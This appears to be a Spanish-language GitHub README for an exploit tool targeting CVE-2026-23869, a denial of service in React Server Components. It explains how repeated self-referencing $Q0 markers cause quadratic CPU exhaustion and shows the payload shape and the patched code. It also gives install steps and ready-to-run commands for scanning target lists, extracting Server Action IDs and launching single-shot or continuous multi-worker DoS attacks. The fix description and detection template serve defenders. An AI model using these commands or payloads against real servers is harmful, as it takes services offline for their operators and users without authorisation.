
Herramienta de explotación automatizada para CVE-2026-23869, una DoS remota en React Server Components. Incluye PoC, plantilla de Nuclei y scripts de escaneo para detección y explotación.
Denegación de Servicio Remota No Autenticada mediante el Protocolo Flight de React
Agotamiento Cuadrático de CPU en la Deserialización de Mapas de Server Components
Resumen • Cómo Funciona • Herramientas • Instalación • Uso • Nuclei • Solución • Aviso Legal
| Campo | Detalle |
|---|---|
| ID CVE | CVE-2026-23869 |
| Alias | React2DoS |
| Puntuación CVSS | 7.5 (Alta) |
| Vector CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| CWE | CWE-400 (Consumo de Recursos No Controlado) |
| Tipo | Denegación de Servicio Remota No Autenticada |
| Descubierto Por | Yohann Sillam (Imperva Threat Research) |
| Afectados | react-server-dom-webpack / parcel / turbopack ≤ 19.2.4 |
| Corregido | React 19.2.5+ / Next.js 15.5.15+ / 16.2.3+ |
Existe una vulnerabilidad crítica de Denegación de Servicio en la deserialización del protocolo Flight de React Server Components. Un atacante no autenticado puede enviar una única solicitud HTTP manipulada a cualquier endpoint de Server Action del App Router de Next.js, provocando un agotamiento cuadrático de CPU O(n²) que bloquea el servidor durante minutos.
consumed en la Deserialización de MapasEl protocolo Flight de React utiliza marcadores especiales para serializar tipos de datos. $Q representa un objeto Map. Cuando el servidor recibe un payload que contiene marcadores $Q0 auto-referenciados:
Payload: [ [1,1], [1,1], ...(n entradas válidas)..., "$Q0", "$Q0", ...(n referencias)... ]
Cada $Q0 activa un constructor new Map() que itera sobre todas las n entradas válidas. El constructor de Map lanza un error (porque las entradas son malformadas), pero el error crítico es: la marca consumed nunca se establece al fallar.
Esto significa que el siguiente $Q0 recalcula exactamente el mismo Map desde cero → creando una complejidad O(n²):
n entradas válidas × n referencias $Q0 = n² llamadas al constructor de Map
Ejemplo: 65.000 × 65.000 = 4.225.000.000 operaciones
Resultado: Una sola solicitud bloquea la CPU durante 5-10+ minutos
┌──────────┐ POST / (multipart/form-data) ┌──────────────────┐
│ Atacante │ ──────────────────────────────────────▶ │ Servidor Next.js│
│ │ Cabecera: Next-Action: <action_id> │ │
│ │ Cuerpo: [[1,1]...,"$Q0","$Q0"...] │ ██████████ CPU │
│ │ │ 100% BLOQUEADA │
└──────────┘ │ durante ~5-10 min│
└──────────────────┘
// ReactFlightReplyServer.js — ANTES del parche
case "Q": {
const data = getOutlinedModel(response, id, obj);
return new Map(data); // ← Falla pero no establece consumed = true
// El siguiente $Q0 recalcula desde cero
}
// ReactFlightReplyServer.js — DESPUÉS del parche (React 19.2.5+)
case "Q": {
const data = getOutlinedModel(response, id, obj);
obj.consumed = true; // ← Corrección: establecer la marca ANTES de la construcción
return new Map(data); // Evita el recálculo repetido
}
| Archivo | Descripción |
|---|---|
poc.py | Herramienta de explotación totalmente automática con pipeline de 4 fases (Reconocimiento → Extracción → Detección → Explotación) |
CVE-2026-23869.yaml | Plantilla de detección Nuclei con orquestación basada en flujo |
scan.sh | Script envoltorio: filtrado de hosts vivos con httpx + escaneo con nuclei |
extract-action-ids.sh | Extractor independiente de IDs de Server Action |
# Clonar el repositorio
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit
# Instalar dependencia de Python
pip install requests
# Hacer ejecutables los scripts
chmod +x poc.py scan.sh extract-action-ids.sh
# Para el escaneo con plantillas Nuclei
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Para el filtrado de objetivos vivos
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
Solo proporciona la URL — la herramienta hace todo automáticamente:
python3 poc.py -u https://target.com
Qué sucede:
# Escanear una lista de dominios/IPs
python3 poc.py -L targets.txt
# Con salida de informe JSON
python3 poc.py -L targets.txt -o results.json
# Solo detección segura
python3 poc.py -u https://target.com -a <ACTION_ID> --detect
# Explotación de un solo disparo
python3 poc.py -u https://target.com -a <ACTION_ID> --single
# DoS continuo (10 workers)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10
python3 poc.py -u https://target.com --extract
Options:
-u, --url URL URL del objetivo (objetivo único)
-L, --list FILE Archivo con URLs/IPs de objetivos (uno por línea)
-a, --action-id ID ID de Server Action (omitir extracción automática)
--detect Solo detección — segura, no destructiva (por defecto)
--single Explotación de un solo disparo tras la detección
--exploit DoS continuo tras la detección
--extract Solo extraer IDs de action
-l, --length N Entradas del payload (por defecto: 130000)
-w, --workers N Workers concurrentes (por defecto: 5)
-d, --delay SEC Retardo entre solicitudes (por defecto: 1.0)
-o, --output FILE Guardar informe JSON
-t, --threads N Objetivos concurrentes para escaneo de listas (por defecto: 3)
La sintaxis original del PoC sigue funcionando:
python3 poc.py <ACTION_ID> <URL>